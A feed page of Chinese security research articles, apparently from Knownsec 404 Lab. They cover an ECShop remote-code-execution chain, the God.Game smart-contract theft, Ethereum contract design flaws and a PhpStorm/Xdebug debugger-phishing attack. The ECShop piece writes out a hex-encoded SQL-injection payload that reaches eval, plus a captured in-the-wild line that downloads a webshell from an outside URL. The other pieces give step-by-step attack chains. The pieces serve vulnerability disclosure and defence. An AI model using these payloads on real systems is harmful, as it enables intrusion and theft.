RSS Feed
更好更安全的互联网
  • ECShop 0day 的堕落之路

    2018-09-12
    Author: Badcode@知道创宇404实验室
    Date: 2018/09/04

    背景

    ECShop是一款B2C独立网店系统,适合企业及个人快速构建个性化网上商店。系统是基于PHP语言及MYSQL数据库构架开发的跨平台开源程序。2018年6月13日,知道创宇404积极防御团队通过知道创宇旗下云防御产品“创宇盾”防御拦截并捕获到一个针对某著名区块链交易所网站的攻击,通过分析,发现攻击者利用的正式ECShop 2.x版本的0day漏洞攻击。于2018年6月14日,提交到知道创宇Seebug漏洞平台并收录

    随后于2018年8月31日,ID为“ringk3y”研究人员在其博客公开这个漏洞,并做了详细分析,该分析收录在Seebug Paper

    知道创宇404积极防御团队于2018年9月2日正式对外发布《ECShop全系列版本的远程代码执行漏洞》预警。

    从2018年的6月13日首次拦截后,知道创宇404实验室多个团队对这个利用ECShop 0day攻击事件进行持续的监控分析,从下文的分析结果可以看出一个0day漏洞在实际攻击中的各个阶段的“堕落”过程。

    漏洞分析

    该漏洞影响ECShop 2.x和3.x版本,是一个典型的“二次漏洞”,通过user.php文件中display()函数的模板变量可控,从而造成SQL注入漏洞,而后又通过SQL注入漏洞将恶意代码注入到危险函数eval中,从而实现了任意代码执行。

    值得一提的是攻击者利用的payload只适用于ECShop 2.x版本导致有部分安全分析者认为该漏洞不影响ECShop 3.x,这个是因为在3.x的版本里有引入防注入攻击的安全代码,通过我们分析发现该防御代码完全可以绕过实现对ECShop 3.x的攻击(详见下文分析)。

    注:以下代码分析基于ECShop 2.7.3

    SQL 注入漏洞

    首先看到ecshop/user.php

    可以看到$back_act是从HTTP_REFERER获取到的,HTTP_REFERER是外部可控的,这也是万恶的根源。

    接着将back_act变量传递给assign函数,跟进ecshop/includes/cls_template.php

    可以从注释了解这个函数的功能,是注册模板变量,也就是$back_act变成了$this->_var[$back_act]=$back_act,而后调用display函数

    user.php调用display函数,传递进来的$filenameuser_passport.dwt,从函数来看,首先会调用$this->fetch来处理user_passport.dwt模板文件,fetch函数中会调用$this->make_compiled来编译模板。user_passport.dwt其中一段如下:

    make_compiled会将模板中的变量解析,也就是在这个时候将上面assign中注册到的变量$back_act传递进去了,解析完变量之后返回到display函数中。此时$out是解析变量后的html内容,判断$this->_echash是否在$out中,若在,使用$this->_echash来分割内容,得到$k然后交给insert_mod处理。

    由于_echash是默认的,不是随机生成的,所以$val内容可随意控制。跟进$this->insert_mod

    $val传递进来,先用|分割,得到$fun$para$para进行反序列操作,$funinsert_拼接,最后动态调用$fun($para),函数名部分可控,参数完全可控。接下来就是寻找以insert_开头的可利用的函数了,在ecshop/includes/lib_insert.php有一个insert_ads函数,正好满足要求。看下insert_ads

    $arr是可控的,并且会拼接到SQL语句中,这就造成了SQL注入漏洞。

    根据上面的流程,可以构造出如下形式的payload

    实际可利用payload

    代码执行

    继续看insert_ads函数

    可以看到在SQL查询结束之后会调用模板类的fetch方法,在user.php中调用display,然后调用fetch的时候传入的参数是user_passport.dwt,而在此处传入的参数是$position_style,向上溯源,发现是$row['position_style']赋值而来,也就是SQL语句查询的结果,结果上面这个SQL注入漏洞,SQL查询的结果可控,也就是$position_style可控。

    要到$position_style = $row['position_style'];还有一个条件,就是$row['position_id']要等于$arr['id'],查询结果可控,arr['id']同样可控。

    之后$position_style会拼接'str:'传入fetch函数,跟进fetch

    因为之前拼接'str:'了,所以strncmp($filename,'str:', 4) == 0为真,然后会调用危险函数$this->_eval,这就是最终触发漏洞的点。但是参数在传递之前要经过fetch_str方法的处理,跟进

    第一个正则会匹配一些关键字,然后置空,主要看下最后一个正则

    这个正则是将捕获到的值交于$this-select()函数处理。例如,$source的值是xxx{$abc}xxx,正则捕获到的group 1 就是$abc,然后就会调用$this-select("$abc")

    跟进select函数

    当传入的变量的第一个字符是$,会返回由 php 标签包含变量的字符串,最终返回到_eval()危险函数内,执行。在返回之前,还调用了$this->get_var处理,跟进get_var

    当传入的变量没有.$时,调用$this->make_var,跟进make_var

    在这里结合select函数里面的语句来看,<?php echo $this->_var[' $val '];?>,要成功执行代码的话,$val必须要把['闭合,所以payload构造,从下往上构造,$valabc'];echo phpinfo();//;从select函数进入get_var的条件是第一个字符是$,所以payload变成了$abc'];echo phpinfo();//;而要进入到select,需要被捕获,payload变成了{$abc'];echo phpinfo();//},这里因为payload的是phpinfo(),这里会被fetch_str函数的第一个正则匹配到,需要变换一下,所以payload变为{$abc'];echo phpinfo/**/();//},到这里为止,php 恶意代码就构造完成了。

    接下来就是把构造好的代码通过SQL注入漏洞传给$position_style。 这里可以用union select 来控制查询的结果,根据之前的流程,$row['position_id']$arr['id']要相等,$row['position_id']是第二列的结果,$position_style是第九列的结果。$arr['id']传入' /*,$arr['num']传入*/ union select 1,0x27202f2a,3,4,5,6,7,8,0x7b24616263275d3b6563686f20706870696e666f2f2a2a2f28293b2f2f7d,10-- -0x27202f2a' /*的16进制值,也就是$row['position_id']的值,0x7b24616263275d3b6563686f20706870696e666f2f2a2a2f28293b2f2f7d是上面构造的php代码的16进制值,也就是$position_style

    结合之前的SQL漏洞的payload构造,所以最终的payload的是

    可以看到成功的执行了phpinfo()

    ECShop 3.x 绕过

    上述的测试环境都是2.7.3的,理论上打2.x都没问题,而在3.x上是不行的,原因是3.x自带了个WAF(ecshop/includes/safety.php),对所有传入的参数都做了检测,按照上面构造的 payload ,union select 会触发SQL注入的检测规则,有兴趣的可以去绕绕,我没绕过。。

    下面的测试版本为ECshop3.0,3.x版本的echash45ea207d7a2b68c49582d2d22adf953a。 上面说了 insert_ads 函数存在注入,并且有两个可控点,$arr['id']$arr['num'],可以将union select通过两个参数传递进去,一个参数传递一个关键字,中间的可以使用/**/注释掉,这样就不会触发WAF。

    实际攻击分析

    上文提到该漏洞最早由知道创宇404积极防御团队通过知道创宇旗下云防御产品“创宇盾”在2018年6月13日拦截并捕获,随后针对这个漏洞的攻击情况做了详细的监控及跟进:

    第一阶:0day在野之“APT攻击” (2018年6月13日)

    首次捕获到 2.x 的 payload 是被用来攻击某区块链交易所网站,因此我们高度怀疑攻击者是用 0day 来攻击区块链交易所的 apt团队。样本中 payload 通过HTTP 请求头的Referer字段植入,如下

    把捕获的 payload 转码出来看

    恶意代码

    base64部分的内容是

    可以看到,没有写入 webshell,而是直接接收$_POST['Nox']参数,进行base64解码后直接传入eval函数执行代码,相当于一个无文件的 webshell ,非常隐蔽。

    本次攻击是由一个日本ip(35.200.*.*)发起,通过攻击的手法及使用的paylaod等情况来看,并直接了当地用来攻击某著名区块链交易所,我们高度怀疑是目的性非常明确的“APT攻击”。

    第二阶:0day在野之“黑产攻击” (2018年8月)

    在随后整个7月都没有出现利用该漏洞攻击的记录直到8月初,在整个8月拦截捕获该0day漏洞攻击记录10余次,攻击者使用的 payload 都相同,且都是一个菲律宾IP(180.191.*.*)发起的攻击。如下:

    // file_put_contents('1.php',file_get_contents('http://uee.me/MrJc'));和这篇分析文章里捕获到的样本一致。

    从整个8月拦截的10余次攻击目标,payload等手法来看,我们认为极有可能该0day漏洞已经被流入到“高端黑产”团队,并进行了批量自动化攻击。

    第三阶:0day曝光之“疯狂攻击” (2018年8月31日后)

    在2018年8月31日漏洞细节被公开之后,攻击数量开始增加,捕获到的 payload 也变的多种多样,漏洞被广泛利用。

    从这些人使用的攻击目标、手法及payload(攻击使用的payload仍然只适用于2.x版本,目前为止没有看到使用针对3.x payload攻击)等情况来看,考虑大量的“低端黑产”玩家开始加入进来,继续“疯狂”的抓鸡行动中,榨干这个漏洞的最后一滴“油水”...

    漏洞影响范围及修复

    根据ZoomEye网络空间搜索引擎对ECShop关键字的搜索结果,共找到42400 条历史记录。

    漏洞修复

    目前我们分析下载最新版的ECShop 4.0里对这个漏洞进行修复:

    看到ecshop4/ecshop/includes/lib_insert.php

    可以看到,将传递进来的$arr[id]$arr[num]强制转换成整型,这样就没法利用这个漏洞了。

    另外我们注意到官方并没有发布针对老版本的(2.x和3.x)的独立修复补丁,相关老版本的用户可参考ECShop 4.0代码来修复或者直接升级到ECShop 4.0。

    小结

    本次ECShop这个漏洞挖掘到漏洞利用非常有技术含量,可以算是一个经典的“二次漏洞”案例,从一个SQL注入漏洞最后完美实现转变为代码执行漏洞。另外从这个漏洞在野外实际利用的过程,也非常的“经典”,完美重现了一个0day漏洞被挖掘利用转变为“武器”后的完美历程:从被用来目标明确的“定向攻击”,再到“黑产”高端玩家,直到最后在曝光后沦为黑产“抓鸡”工具的“堕落” ...

    感谢我们404实验室各团队小伙伴的努力~~ 我爱你们~~

    参考链接


    Paper 本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/695/

    作者:Elfinx | Categories:安全研究安全科普 | Tags:
  • 智能合约游戏之殇——God.Game 事件分析

    2018-08-29

    作者:Sissel@知道创宇404区块链安全研究团队
    时间:2018年8月24日

    0x00 前言

    当你凝视深渊时,深渊也在凝视着你。

    越来越多的乐透、赌博游戏与区块链体系结合起来,步入众多投资者和投机者的视野中。区块链可以说是这类游戏的温床。正面来说,区块链的可信机制与合约的公开,保证了游戏的中立。另一方面,区块链的非实名性,也让玩家的个人信息得以隐藏。

    分红、邀约、股息,这些游戏看似利益诱人,实则一个个都是庞氏骗局。游戏火了,诈骗满满皆是。每个人都信心满满地走进游戏,投入大笔资金,希望自己成为受益者,别人都是自己的接盘侠。这样的游戏,只有两个结局,不是游戏所有者获益,就是半路杀进游戏的区块链黑客卷走一切,让玩家血本无归,无一例外。日复一日,无数投机者交了学费,空手而归,却又毫不死心,重入深渊。

    游戏依然层出不穷,不信邪的人也是接连不断。近日,国内出现了一款类PoWH的银行游戏,在两周的宣传过后,短短数日,就完成了游戏创建、集资、黑客卷钱走人这一整个流程,让无数玩家措手不及。

    时间线

    • 2018年08月19日晚十一点半,宣传良久的区块链赌博游戏God.Game合约被创建于以太坊6176235区块。在之后的两天时间,游戏内加入了大量玩家,合约内存储的以太币也增加到了243eth。
    • 2018年08月21日凌晨一点钟,攻击者经过简单的测试,部署了一个攻击合约。短短几分钟时间,利用游戏合约漏洞,将合约账户的eth洗劫为空。

    知道创宇404区块链安全研究团队得知此事件后,对游戏合约进行了仔细审计,复现了攻击者的手法,接下来,将对整个事件进行完整的分析,并给出一种简洁的利用方式。

    0x01 合约介绍

    智能合约名为God,地址为 0xca6378fcdf24ef34b4062dda9f1862ea59bafd4d,部署于 6176235,发行了名为God币的代币(erc20 token)。

    God.Game主要是一个银行合约,代码有上千行,较为复杂。如果之前对PoWH3D等类似合约有过接触,God便不难理解。下面我们介绍些简单概念。

    ERC20 token

    token代表数字资产,具有价值,通过智能合约发行于区块链上,我们可以称之为代币。符合ERC20协议的代币可以更容易互换,方便的在交易所上市。God币便是符合ERC20协议的代币。

    合约功能

    在God.Game中,你可以通过eth购买token(god币),当你拥有了token,相当于参加了这个游戏。

    • 购买token:会产生一定的手续费,除了主办方会收取一部分外,还有一部分将会均分给所有token持有者,也就是所谓的分红。
    • 转账token:你可以将手中的token转账给他人。
    • 出售token:将手中的token出售为可提款。
    • 提取红利:将分红转为以太币提取出来。
    • 邀请机制:当你拥有多于100个token,将开启邀请系统。他人使用你的地址,你将会获得较多的手续费提成作为分红。【攻击未涉及该功能】

    token与eth的兑换、分红的多少,都与token的总量以及持有者有关,不断变化。

    代码浅析

    我们将简要介绍合约中出现的几个重要变量。

    在开始介绍前,请先记住一个概念:红利由 账户token的价值 - payout 得到,时常变化,而不是记录这个变量

    用户信息

    • token【代币】是确定的数量,用户的token仅可通过自己buy、sell、transfer变动。
    • token * profitPerShare 可以看作是账户token的价值
    • payouts 我们称之为已经用过的钱。【这个定义并不严谨,可以叫控制账户红利的值】
    • token * profitPerShare - payoutsTo_ 可以看作用户在此合约内现在可以使用的钱, 定义为红利。

    合约通过控制payoutsTo的值,来控制用户可用的钱,即红利【用来提eth,或再向God合约购买token】。

    全局变量

    以下变量是全局中浮动的

    重要的临时变量

    dividends = 账户总价值 - 已用的钱【payout】

    dividends这个变量并不存储,不然每当其他参数变动时,需要计算所有人的分红。

    每次使用时,通过myDividends(false)计算,而这个函数在不涉及推荐功能时,仅调用了dividendsOf(address customerAddress)

    这里也是本次攻击的溢出点。

    0x02 漏洞点

    漏洞点有两处,简而言之,是当被转账账户是合约账户时,处理有误造成的。

    计算分红

    从上面得知,分红可用来提eth,或再次购买token。 分红本应永远为正数,这里的减法未使用safeMath,最后还强制转换uint,会造成整数溢出。 我们需要控制payoutsTo和token的关系。

    转账transfer()

    我们看到,如论如何转账,token一定是一方减少,另一方增加,符合代币的特点。

    这里是God中,针对转账双方的账户类型【外部账户、合约账户】采取的不同操作。

    我们会发现,transfer()函数并未对合约账户的payoutsTo进行操作。而是仅修改了contractPayout这个和God合约参数有关的全局变量。

    导致合约账户中 token(很多) * profitPerShare(常量) - payoutsTo(0) 非常大。正常来讲,payoutsTo应该变大,令账户的dividends为 0。

    这种写法非常奇怪,在ERC20的协议中,当被转账账户为合约时,只需要合约拥有该代币的回调函数即可,没有别的要求。

    0x03 攻击链

    这样我们就可以得到大致的攻击链: 再次注意,红利 dividens = token * token价值 - payout(用户已经花了的部分)。 即 可用的钱 = 总价值 - 已用的钱

    1. 攻击者 ==转账==> 攻击合约
      合约状况:
    2. 攻击合约 withdraw()
      合约状况:
    3. 攻击合约 ==转账==> 攻击者
      合约状况:
    4. 攻击合约 reinvest()
      合约状况:

    再投资【使用红利购买token】,通过大量的红利,可以随意购买token,进而sell()+withdraw()提出eth,完成攻击。

    0x04 实际流程

    攻击者首先部署了几个测试的攻击合约,因为一些原因之后未使用,可能仅供测试。

    攻击合约逆向

    知道创宇404区块链安全研究团队使用昊天塔,对攻击者部署的合约进行了逆向,得到了攻击合约大致代码。

    得到的函数列表

    而具体分析函数内容,发现该合约大部分函数都是以本合约发起对God合约的调用,例如:

    对照攻击者交易明细,我们来复现攻击流程。我们假设token对应红利是1:1,便于解释。

    1. 部署攻击合约
      tx:1. 部署合约 攻击者部署合约,准备攻击。 合约地址:0x7F325efC3521088a225de98F82E6dd7D4d2D02f8
    2. 购买token
      tx:2. 购买token 攻击者购买一定量token,准备攻击。
    3. 向攻击合约转账token
      tx:3. transfer(attacker -> attack-contract) 攻击者本身购买了少量token,使用游戏合约中的transfer(),向攻击合约转账。
    4. 攻击合约withdraw()
      tx:4. withdraw() 攻击合约调用了God的withdraw(),攻击合约因此获得了红利对应以太币【不重要】
    5. 攻击合约transfer()
      tx:5. transfer(attack-contract -> attacker) 将token转回,攻击合约token不变,红利溢出。
    6. 攻击合约reinvest()
      tx:6. reinvest() 再投资,将红利买token,可以大量购买token。
    7. 攻击合约sell()
      tx:7. sell() 卖出一部分token,因为发行的token过多,会导致token价值太低,提取以太币较少。
    8. 攻击合约transfer()
      tx:8. transfer(attack-contract -> 受益者) 把智能合约账户的token转给受益者(0xc30e)一部分。
    9. 受益者sell()+withdraw()
      受益者(0xc30e)卖掉token,并withdraw()红利,得到以太币。

    0x05 更简单的攻击手法

    回顾上述攻击流程,攻击成立主要依赖红利由 token - payout 得到,时常变化,而不是记录这个特性。

    在交易token时,变化的只是双方持有的token数,双方的红利应该不变,换言之,就是用户的payout也需要变化才能保证红利变化。

    漏洞就在于在用户和合约交易token时,合约方的payout并没有相应的增加,导致红利平白无故的多出来,最终导致了凭空生币。

    这样一来,我们就可以使用更简单的攻击手法。

    下面是详细的介绍:

    1. 攻击者 ==转账==> 攻击合约
      合约收到转账时,红利本应为0,却变得很多,账户可用资金变得很多。
    2. 攻击合约 withdraw()
      把可用的钱提款为eth,token不变。
    3. 攻击合约 ==转账==> 攻击者
      token原路返回攻击者,token不变,但合约中多出了 eth 。

    我们发现智能合约在这个过程中,因为接受转账未增加payout,导致在第二步中可以提取不少的以太币,并在第三步将token原路转回。 这一过程,合约账户便可凭空得到以太币。而只需要支付一部分手续费以及token的轻微贬值。如此反复创建新的合约,并按以上步骤,可以提出God.Game中大量的以太币。

    注意事项

    此攻击方法理论成立,还需仔细考察手续费和token价值变化等细节问题,但从合约中提取部分以太币是可行的。

    具体分析

    1. 购买token
      攻击者购买一定量token,准备攻击。
    2. 向攻击合约转账token
      攻击者本身购买了少量token,使用游戏合约中的transfer(),向攻击合约转账。
    3. 攻击合约调用 withdraw()
      withdraw() 的主要逻辑如下:
      攻击合约调用withdraw(),通过以太币的形式取出利息 dividents。
    4. 攻击合约transfer()
      将token转回,攻击者token恢复为1000。

    0x06 总结

    以上就是God.Game合约的分析,以及本次攻击的复现。这次攻击的发生距离合约部署仅有两天,整个攻击流程非常巧妙。按照前面的分析,仅通过合约账户的withdraw()就可以提出以太币。但攻击者还利用了红利溢出,进而获得了大量的token。根据上面多方面因素,虽然主办方在事件发生后声明自己是受害者。但是根据telegram上记录,主办方在游戏开始之前就再未查看玩家群。这些现像,引人深思。

    区块链游戏看似充满诱惑,实则迷雾重重。无论如何谨慎,都有可能跌入深渊。谁也不知道游戏背后的创建者究竟有什么打算,但人皆贪婪,有钱财的地方,必有隐患。

    0x07 相关链接


    智能合约审计服务

    针对目前主流的以太坊应用,知道创宇提供专业权威的智能合约审计服务,规避因合约安全问题导致的财产损失,为各类以太坊应用安全保驾护航。

    知道创宇404智能合约安全审计团队: https://www.scanv.com/lca/index.html

    联系电话:(086) 136 8133 5016(沈经理,工作日:10:00-18:00)

    欢迎扫码咨询:

    区块链行业安全解决方案

    黑客通过DDoS攻击、CC攻击、系统漏洞、代码漏洞、业务流程漏洞、API-Key漏洞等进行攻击和入侵,给区块链项目的管理运营团队及用户造成巨大的经济损失。知道创宇十余年安全经验,凭借多重防护+云端大数据技术,为区块链应用提供专属安全解决方案。

    欢迎扫码咨询:


    附录1 此次事件相关地址

    • God合约创建者 0x802dF0C73EB17E540b39F1aE73C13dcea5A1CAAa
    • God合约地址 0xCA6378fcdf24Ef34B4062Dda9F1862Ea59BaFD4d
    • 最终以太币存储的账户 0xC30E89DB73798E4CB3b204Be0a4C735c453E5C74
    • 攻击者 0x2368beb43da49c4323e47399033f5166b5023cda
    • 攻击合约 0x7f325efc3521088a225de98f82e6dd7d4d2d02f8

    附录2 God.Game合约的函数分析

    • buy() - 购买token

    • sell() - 出售token

    未使用的分红增加,可用来withdraw(提款)或reinvest(再投资)。

    • withdraw() - 将分红清0,分红换为eth取出

    清零分红,获得相应的eth。

    • reinvest() - 再投资

    消耗掉账户的分红,换成token。

    • transfer() - 转账

    from:

    to:

    附录3 根据昊天塔逆向结果,构造的攻击合约


    Paper本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/683/

    作者:Elfinx | Categories:安全研究安全科普 | Tags:
  • 以太坊合约审计 CheckList 之“以太坊智能合约设计缺陷问题”影响分析报告

    2018-08-29

    作者:LoRexxar'@知道创宇404区块链安全研究团队
    时间:2018年8月22日
    本系列上一篇:《以太坊合约审计 CheckList 之“以太坊智能合约规范问题”影响分析报告》

    一、 简介

    在知道创宇404区块链安全研究团队整理输出的《知道创宇以太坊合约审计CheckList》中,把“条件竞争问题”、“循环DoS问题”等问题统一归类为“以太坊智能合约设计缺陷问题”。

    “昊天塔(HaoTian)”是知道创宇404区块链安全研究团队独立开发的用于监控、扫描、分析、审计区块链智能合约安全自动化平台。我们利用该平台针对上述提到的《知道创宇以太坊合约审计CheckList》中“以太坊智能合约设计缺陷”类问题在全网公开的智能合约代码做了扫描分析。详见下文:

    二、漏洞详情

    1、条件竞争

    2016年11月29号,Mikhail Vladimirov和Dmitry Khovratovich公开了一篇《ERC20 API: An Attack Vector on Approve/TransferFrom Methods》,在文章中提到了一个在ERC20标准中存在的隐患问题,条件竞争

    这里举一个approve函数中会出现的比较典型的例子,approve一般用于授权,比如授权别人可以取走自己的多少代币,整个流程是这样的:

    1. 用户A授权用户B 100代币的额度
    2. 用户A觉得100代币的额度太高了,再次调用approve试图把额度改为50
    3. 用户B在待交易处(打包前)看到了这笔交易
    4. 用户B构造一笔提取100代币的交易,通过条件竞争将这笔交易打包到了修改额度之前,成功提取了100代币
    5. 用户B发起了第二次交易,提取50代币,用户B成功拥有了150代币

    想要理解上面这个条件竞争的原理,首先我们得对以太坊的打包交易逻辑有基础认识。

    https://medium.com/blockchannel/life-cycle-of-an-ethereum-transaction-e5c66bae0f6e

    简单来说就是

    1. 只有当交易被打包进区块时,他才是不可更改的
    2. 区块会优先打包gasprice更高的交易

    所以当用户B在待打包处看到修改的交易时,可以通过构造更高gasprice的交易来竞争,将这笔交易打包到修改交易之前,就产生了问题。

    以下代码就存在条件竞争的问题

    2、循环DoS问题

    在以太坊代码中,循环是一种很常见的结构,但由于以太坊智能合约的特殊性,在循环也有很多需要特别注意的点, 存在潜在的合约问题与安全隐患。

    1) 循环消耗问题

    在以太坊中,每一笔交易都会消耗一定的gas,而交易的复杂度越高,则该交易的gasprice越高。而在区块链上,每个区块又有最大gas消耗值限制,且在矿工最优化收益方案中,如果一个交易的gas消耗过大,就会倾向性把这个交易排除在区块外,从而导致交易失败。

    所以,对于合约内的循环次数不宜过大,在循环中的代码不宜过于复杂。

    如果上述代码地址列表过长,就有可能导致交易失败。

    2018年7月23日,Seebug Paper发表的《首个区块链 token 的自动化薅羊毛攻击分析》中攻击合约就提到了这种gas优化方式。

    2) 循环安全问题

    在以太坊中,应该尽量避免循环次数受到用户控制,攻击者可能会使用过大的循环来完成Dos攻击。

    当攻击者通过不断添加address列表长度,来迫使该函数执行循环次数过多,导致合约无法正常维护,函数无法执行。

    2016年,GovernMental合约代币被爆出恶意攻击,导致地址列表过长无法执行,超过1100 ETH被困在了合约中。

    三、漏洞影响范围

    使用Haotian平台智能合约审计功能可以准确扫描到该类型问题。

    基于Haotian平台智能合约审计功能规则,我们对全网的公开的共39548 个合约代码进行了扫描,其中共24791个合约涉及到这类问题。

    1、 条件竞争

    截止2018年8月10日为止,我们发现了22981个存在approve条件竞争的合约代码,其中15325个合约仍处于交易状态,其中交易量最高的10个合约情况如下:

    2、 循环DoS问题

    截止2018年8月10日为止,我们发现了1810个存在潜在循环dos问题的合约代码,其中1740个合约仍处于交易状态,其中交易量最高的10个合约情况如下:

    四、修复方式

    1)条件竞争

    关于这个问题的修复方式讨论很多,由于这属于底层特性的问题,所以很难在智能合约层面做解决,在代码层面,我们建议在approve函数中加入

    将这个条件加入,在每次修改权限时,将额度修改为0,再将额度改为对应值。

    在这种情况下,合约管理者可以通过日志或其他手段来判断是否有条件竞争发生,从风控的角度警醒合约管理者注意该问题的发生。范例代码如下:

    2)循环DoS问题

    在面临循环DoS问题产生的场景中,最为常见的就是向多个用户转账这个功能。

    这里推荐代码中尽量避免用户可以控制循环深度,如果无法避免的话,尽量使用类似withdrawFunds这种函数,循环中只分发用户提币的权限,让用户来提取属于自己的代币,通过这种操作可以大幅度节省花费的gas开支,也可以一定程度避免可能导致的问题。代码如下所示:

    五、一些思考

    在分析了许多智能合约已有的漏洞以及合约以后,我发现有一类问题比较特殊,这些问题的诞生根本原因都是因为以太坊智能合约本身的设计缺陷,再加上开发者对此没有清晰的认识,导致了合约本身的一些隐患。

    文章中提到的条件竞争是个比较特殊的问题,这里的条件竞争涉及到了智能合约底层实现逻辑,本身打包逻辑存在条件竞争,我们无法在代码层面避免这个问题,但对于开发者来说,比起无缘无故的因为该问题丢失代币来说,更重要的是合约管理者可以监控到每一笔交易的结果,所以我们加入置0的操作来提醒合约管理者、代币持有者该问题,尽量避免这样的操作发生。

    而循环Dos问题就是一个针对开发者的问题,每一次操作就是一次交易,每次交易就要花费gas,交易越复杂花费的gas越多,而在区块链上,每个区块又有最大gas消耗值限制,且在矿工最优化收益方案中,如果一个交易的gas消耗过大,就会倾向性把这个交易排除在区块外,从而导致交易失败。这也就直接导致了在交易中,我们需要尽可能的优化gas花费,避免交易失败。

    我们在对全网公开的合约代码进行扫描和监控时容易发现,有很大一批开发人员并没有注意到这些问题,其中条件竞争问题甚至影响广泛,有超过一半以上的公开代码都受到影响。

    这里我们建议所有的开发者重新审视自己的合约代码,检查是否存在设计缺陷问题,避免不必要的麻烦以及安全问题。


    智能合约审计服务

    针对目前主流的以太坊应用,知道创宇提供专业权威的智能合约审计服务,规避因合约安全问题导致的财产损失,为各类以太坊应用安全保驾护航。

    知道创宇404智能合约安全审计团队: https://www.scanv.com/lca/index.html
    联系电话:(086) 136 8133 5016(沈经理,工作日:10:00-18:00)

    欢迎扫码咨询:

    区块链行业安全解决方案

    黑客通过DDoS攻击、CC攻击、系统漏洞、代码漏洞、业务流程漏洞、API-Key漏洞等进行攻击和入侵,给区块链项目的管理运营团队及用户造成巨大的经济损失。知道创宇十余年安全经验,凭借多重防护+云端大数据技术,为区块链应用提供专属安全解决方案。

    欢迎扫码咨询:

    六、REF


    Paper本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/679/

    作者:Elfinx | Categories:安全研究安全科普 | Tags:
  • Xdebug 攻击面在 PhpStorm 上的现实利用

    2018-08-29

    作者: dawu@知道创宇404实验室
    日期:2018/08/16

    0x00 前言

    在调试 Drupal 远程命令执行漏洞(CVE-2018-7600 && CVE-2018-7602)时,存在一个超大的数组 $form 。在该数组中寻找到注入的变量,可以帮助调试人员确认攻击是否成功。

    但是作为一个安全研究人员,在调试时也保持着一颗发现漏洞的心,所以知道 $form 中的每一个元素的内容就十分重要了。然而 PhpStorm 这款调试工具需要不断的点击才能看到数组中各元素的值,这显然非常低效。

    笔者在官方手册中发现了一种解决方案:

    但是 Evaluate in Console 看上去就具有一定的危险性,所以笔者深入研究了该功能的实现过程并成功通过 PhpStormXdebug 服务器上执行了命令。

    0x01 准备工作

    1.1 Xdebug的工作原理和潜在的攻击面

    Xdebug 工作原理和潜在的攻击面前人已有部分文章总结:

    综合上述参考链接,已知的攻击面有:

    1. eval 命令: 可以执行代码。
    2. property_set && property_get 命令: 可以执行代码
    3. source 命令: 可以阅读源码。
    4. 利用 DNS 重绑技术可能可以导致本地 Xdebug 服务器被攻击。

    就本文而言 PhpStormXdebug 进行调试的工作流程如下:

    1. PhpStorm 开启调试监听,默认绑定 90001013720080 端口等待连接。
    2. 开发者使用 XDEBUG_SESSION=PHPSTORM (XDEBUG_SESSION的内容可以配置,笔者设置的是PHPSTORM) 访问 php 页面。
    3. Xdebug 服务器反连至 PhpStorm 监听的 9000 端口。
    4. 通过步骤3建立的连接,开发者可以进行阅读源码、设置断点、执行代码等操作。

    如果我们可以控制 PhpStorm 在调试时使用的命令,那么在步骤4中攻击面 123 将会直接威胁到 Xdebug 服务器的安全。

    1.2 实时嗅探脚本开发

    工欲善其事,必先利其器。笔者开发了一个脚本用于实时显示 PhpStormXdebug 交互的流量(该脚本在下文截图中会多次出现):

    0x02 通过 PhpStormXdebug 服务器上执行命令

    2.1 通过 Evaluate in Console 执行命令

    通过上文的脚本,可以很清晰的看到我们在执行 Evaluate in Console 命令时发生了什么(红色部分是 base64 解码后的结果):

    如果我们可以控制 $q,那我们就可以控制 eval 的内容。但是在 PHP 官方手册中,明确规定了变量名称应该由 a-zA-Z_\x7f-\xff 组成:

    Variable names follow the same rules as other labels in PHP. A valid variable name starts with a letter or underscore, followed by any number of letters, numbers, or underscores. As a regular expression, it would be expressed thus: '[a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*'

    所以通过控制 $q 来控制 eval 的内容并不现实。但是在 PhpStorm 获取数组中某个元素时,会将该元素的名称带入 eval 的语句中。

    如图所示,定义数组如下: $a = ( "aaa'bbb"=>"ccc"),并在 PhpStorm 中使用 Evaluate in Console 功能。

    可以看到单引号未做任何过滤,这也就意味着我可以控制 eval 的内容了。在下图中,我通过对 $a['aaa\'];#'] 变量使用 Evaluate in Console 功能获取到 $a['aaa'] 的值。

    精心构造的请求和代码如下:

    但在这个例子中存在一个明显的缺陷:可以看到恶意的元素名称。如果用于钓鱼攻击,会大大降低成功率,所以对上述的代码进行了一定的修改:

    在元素名称足够长时,PhpStorm 会自动隐藏后面的部分:

    2.2 通过 Copy Value As 执行命令

    继续研究发现,COPY VALUE AS (print_r/var_export/json_encode) 同样也会使用 Xdebugeval 命令来实现相应的功能:

    再次精心构造相应的请求和代码后,可以再次在 Xdebug 服务器上执行命令:

    2.3 实际攻击探究

    基于上述的研究,我认为可以通过 PhpStorm 实现钓鱼攻击。假设的攻击流程如下:

    1. 攻击者确保受害者可以发现恶意的 PHP 文件。例如安全研究人员之间交流 某大马 具体实现了哪些功能、运维人员发现服务器上出现了可疑的 PHP 文件。
    2. 如果受害者在大致浏览 PHP 文件内容后,决定使用 PhpStorm 分析该文件。
    3. 受害者使用 COPY VALUE AS (print_r/var_export/json_encode)Evaluate array in Console 等功能。命令将会执行。
    4. 攻击者可以收到受害者 Xdebug 服务器的 shell

    精心构造的代码如下(其中的反连IP地址为临时开启的VPS):

    直接执行该 PHP 代码,将只会多次运行 system("echo hello world;")。但是调试人员并不会执行 PHP 代码,他也许会取出 $n[$f] 的值,然后通过 echo XXXXXXXX|base64 -d 解码出具体的内容。

    如果他使用 COPY VALUE BY print_r 拷贝对应的变量,他的 Xdebug 服务器上将会被执行命令。

    在下面这个 gif 中,左边是攻击者的终端,右边是受害者的 debug 过程。

    (GIF中存在一处笔误: decise 应为 decide

    0x03 结语

    在整个漏洞的发现过程中,存在一定的曲折,但这也正是安全研究的乐趣所在。PhpStorm 官方最终没有认可该漏洞,也是一点小小的遗憾。在此将该发现分享出来,一方面是为了跟大家分享思路,另一方面也请安全研究人员使用 PhpStorm 调试代码时慎用 COPY VALUE AS (print_r/var_export/json_encode)Evaluate array in Console 功能。

    0x04 时间线

    2018/06/08: 发现 Evaluate in Console 存在 在 Xdebug 服务器上 执行命令的风险。
